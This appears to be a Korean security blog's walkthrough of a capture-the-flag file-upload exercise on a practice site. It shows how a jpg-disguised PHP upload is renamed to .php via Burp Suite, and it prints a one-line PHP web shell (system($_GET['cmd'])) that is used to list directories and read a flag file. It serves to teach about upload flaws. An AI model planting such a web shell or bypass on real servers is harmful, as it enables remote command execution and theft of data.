안녕하세요 file upload 실습 문제인 2번을 풀어보겠습니다.
일단 로그인을 하고 일단 다운로드 경로부터 찾아보겠습니다.
그럼 jpg로 올려보겠습니다.
그리고 다운로드 경로를 찾아보았더니
http://ctf.segfaulthub.com:7979/webshell_2/files/hello/123.jpg
이렇게 나오네요
그럼 php문 작성해서 올려보겠습니다.
<?php
echo "Script Running!";
?>
그런데 한 번 버프 스위트을 통해 다시 올려보겠습니다.
우선 스크립트 작성된 것을 jpg 형식으로 바꾸고 올린 다음 버프스위트 통해 보겠습니다.
그다음 send을 하면?
그런데 한 번 다운로드 경로 통해 찾아 들어가 보겠습니다.
http://ctf.segfaulthub.com:7979/webshell_2/files/hello/test.php
버프 스위트 통해 jpg 형식을 php 형식으로 바꾸고 보내니깐 서버에는 안된다고 하는데 서버에 파일이 저장이 되네요!
이런 경우도 있죠. 안되면 저장이 안 돼야 되는데 저장이 되는 경우요
그럼 이제 웹 쉘을 이용해서 보내보겠습니다.
똑같이 우선 jpg로 형식을 저장한 후 보내고 버프스위트로 형식을 바꾸겠습니다.
<?php
echo system($_GET['cmd']);
?>
그리고 send을 한 후 다운로드 경로 통해 cmd=ls을 보내보겠습니다.
그리고 상위폴더를 찾아보고 중요한 데이터가 있을 만한 곳을 찾아보겠습니다.
저는 버프스위트가 편해서 버프스위트를 이용하겠습니다.
../은 상위 폴더를 뜻하고요 +은 url 상에 띄어쓰기를 뜻합니다.
그리고 cat+../../secret_file/flag.txt 하면 이 실습페이지의 답이 나오게 됩니다
감사합니다!
'보안지식 > File Upload' 카테고리의 다른 글
file download 취약점 (0) | 2023.06.15 |
---|---|
file upload 공격 - 시나리오 (0) | 2023.06.05 |
file upload 공격 - 실습 페이지 만들기 (0) | 2023.06.04 |
File Upload - 실습 1번 풀이 (0) | 2023.06.02 |
파일 업로드 취약점(File upload) (0) | 2023.06.01 |